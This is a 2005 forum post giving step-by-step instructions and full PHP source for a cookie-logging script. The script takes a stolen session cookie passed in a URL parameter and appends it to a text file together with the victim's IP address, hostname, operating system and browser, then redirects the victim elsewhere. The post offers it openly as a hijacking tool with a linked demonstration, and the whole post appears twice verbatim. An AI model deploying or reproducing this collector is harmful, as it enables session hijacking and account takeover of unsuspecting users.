carlo
10-12-2005, 02:05 PM
First of all make a cookie.php and a jacked.txt
The in the cookie.php put in this code:
<?
$logBestand="jacked.txt";
$cookie = $HTTP_GET_VARS["w00t"];
$cookie = rawurldecode($cookie);
$Datum = date("d-m / H:i:s");
$IPadres = $_SERVER['REMOTE_ADDR'];
$Hostnaamnaam = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$http_browser = getenv("HTTP_USER_AGENT");
//OS
if (preg_match("/windows nt 5.*/i",$http_browser)) $Operating_system =
"Windows XP";
if (preg_match("/windows xp/i",$http_browser)) $Operating_system =
"Windows XP";
if (preg_match("/linux/i",$http_browser)) $Operating_system = "Linux";
if (preg_match("/macintosh/i",$http_browser)) $Operating_system =
"Macintosh";
if (preg_match("/win *x 4.*0/i",$http_browser)) $Operating_system =
"Windows Me";
if (preg_match("/windows me/i",$http_browser)) $Operating_system =
"Windows Me";
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =
"Windows 2000";
if (preg_match("/windows 2000/i",$http_browser)) $Operating_system=
"Windows 2000";
if (preg_match("/windows nt *.*/i",$http_browser)) $Operating_system =
"Windows *.*";
if (preg_match("/windows nt *.5.0/i",$http_browser)) $Operating_system =
"Windows NT *.5";
if (preg_match("/windows nt *.5.*/i",$http_browser)) $Operating_system =
"Windows NT *.5.*";
if (preg_match("/windows nt 4.0/i",$http_browser)) $Operating_system =
"Windows NT 4.0";
if (preg_match("/windows *8/i",$http_browser)) $Operating_system =
"Windows *8";
if (preg_match("/windows *5/i",$http_browser)) $Operating_system =
"Windows *5";
if (preg_match("/sunos/i",$http_browser)) $Operating_system = "SunOS";
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =
"Windows 2000";
if ($Operating_system == "") $Operating_system = "Onbekend";
//browsers
if (preg_match("/Opera/i",$http_browser)) $browser = "Opera";
if (preg_match("/MSIE 6/i",$http_browser)) $browser = "Internet Explorer 6";
if (preg_match("/MSIE 5.5/i",$http_browser)) $browser = "Internet
Explorer 5.5";
if (preg_match("/MSIE 5.0/i",$http_browser)) $browser = "Internet
Explorer 5";
if (preg_match("/MSIE 4/i",$http_browser)) $browser = "Internet Explorer 4";
if (preg_match("/Netscape/7.0/i",$http_browser)) $browser = "Netscape 7";
if (preg_match("/Mozilla/5.0/i",$http_browser)) $browser = "Netscape 6";
if (preg_match("/Mozilla/4.7/i",$http_browser)) $browser = "Netscape 4.7";
if (preg_match("/Mozilla/4.6/i",$http_browser)) $browser = "Netscape 4.6";
if (preg_match("/Mozilla/4.5/i",$http_browser)) $browser = "Netscape 4.5";
if (preg_match("/rv:*.4/i",$http_browser)) $browser = "Mozilla *.4";
if (preg_match("/rv:*.5a/i",$http_browser)) $browser = "Mozilla *.5a";
if (preg_match("/rv:*.5/i",$http_browser)) $browser = "Mozilla *.5";
if (preg_match("/Galeon/i",$http_browser)) $browser = "Galeon";
if (preg_match("/Konqueror/i",$http_browser)) $browser = "Konqueror";
if ($browser == "") $browser = "Onbekend";
$loggen=fopen($logBestand, "a");
fwrite($loggen, "Datum / Tijd : $Datum\r\nIP-adres :
$IPadres\r\nHostnaam : $Hostnaamnaam\r\nBesturingssysteem :
$Operating_system\r\nBrowser : $browser\r\nCookie :
$cookie\r\n==========\r\n");
fclose($loggen);
header("Location: http://www.tahribat.com");
?>
Upload them both to a website. Just so you know you dont have to put anything in the jacked.txt. (cookie.php and jacked.txt)
I have made a demonstration here (http://hxchat.t*5.com/cookielogger.php)
And the jack.txt here (http://hxchat.t*5.com/jacked.txt)
By the way when you open it ull see some crap what makes u think its wrong but it isnt.
The in the cookie.php put in this code:
<?
$logBestand="jacked.txt";
$cookie = $HTTP_GET_VARS["w00t"];
$cookie = rawurldecode($cookie);
$Datum = date("d-m / H:i:s");
$IPadres = $_SERVER['REMOTE_ADDR'];
$Hostnaamnaam = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$http_browser = getenv("HTTP_USER_AGENT");
//OS
if (preg_match("/windows nt 5.*/i",$http_browser)) $Operating_system =
"Windows XP";
if (preg_match("/windows xp/i",$http_browser)) $Operating_system =
"Windows XP";
if (preg_match("/linux/i",$http_browser)) $Operating_system = "Linux";
if (preg_match("/macintosh/i",$http_browser)) $Operating_system =
"Macintosh";
if (preg_match("/win *x 4.*0/i",$http_browser)) $Operating_system =
"Windows Me";
if (preg_match("/windows me/i",$http_browser)) $Operating_system =
"Windows Me";
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =
"Windows 2000";
if (preg_match("/windows 2000/i",$http_browser)) $Operating_system=
"Windows 2000";
if (preg_match("/windows nt *.*/i",$http_browser)) $Operating_system =
"Windows *.*";
if (preg_match("/windows nt *.5.0/i",$http_browser)) $Operating_system =
"Windows NT *.5";
if (preg_match("/windows nt *.5.*/i",$http_browser)) $Operating_system =
"Windows NT *.5.*";
if (preg_match("/windows nt 4.0/i",$http_browser)) $Operating_system =
"Windows NT 4.0";
if (preg_match("/windows *8/i",$http_browser)) $Operating_system =
"Windows *8";
if (preg_match("/windows *5/i",$http_browser)) $Operating_system =
"Windows *5";
if (preg_match("/sunos/i",$http_browser)) $Operating_system = "SunOS";
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =
"Windows 2000";
if ($Operating_system == "") $Operating_system = "Onbekend";
//browsers
if (preg_match("/Opera/i",$http_browser)) $browser = "Opera";
if (preg_match("/MSIE 6/i",$http_browser)) $browser = "Internet Explorer 6";
if (preg_match("/MSIE 5.5/i",$http_browser)) $browser = "Internet
Explorer 5.5";
if (preg_match("/MSIE 5.0/i",$http_browser)) $browser = "Internet
Explorer 5";
if (preg_match("/MSIE 4/i",$http_browser)) $browser = "Internet Explorer 4";
if (preg_match("/Netscape/7.0/i",$http_browser)) $browser = "Netscape 7";
if (preg_match("/Mozilla/5.0/i",$http_browser)) $browser = "Netscape 6";
if (preg_match("/Mozilla/4.7/i",$http_browser)) $browser = "Netscape 4.7";
if (preg_match("/Mozilla/4.6/i",$http_browser)) $browser = "Netscape 4.6";
if (preg_match("/Mozilla/4.5/i",$http_browser)) $browser = "Netscape 4.5";
if (preg_match("/rv:*.4/i",$http_browser)) $browser = "Mozilla *.4";
if (preg_match("/rv:*.5a/i",$http_browser)) $browser = "Mozilla *.5a";
if (preg_match("/rv:*.5/i",$http_browser)) $browser = "Mozilla *.5";
if (preg_match("/Galeon/i",$http_browser)) $browser = "Galeon";
if (preg_match("/Konqueror/i",$http_browser)) $browser = "Konqueror";
if ($browser == "") $browser = "Onbekend";
$loggen=fopen($logBestand, "a");
fwrite($loggen, "Datum / Tijd : $Datum\r\nIP-adres :
$IPadres\r\nHostnaam : $Hostnaamnaam\r\nBesturingssysteem :
$Operating_system\r\nBrowser : $browser\r\nCookie :
$cookie\r\n==========\r\n");
fclose($loggen);
header("Location: http://www.tahribat.com");
?>
Upload them both to a website. Just so you know you dont have to put anything in the jacked.txt. (cookie.php and jacked.txt)
I have made a demonstration here (http://hxchat.t*5.com/cookielogger.php)
And the jack.txt here (http://hxchat.t*5.com/jacked.txt)
By the way when you open it ull see some crap what makes u think its wrong but it isnt.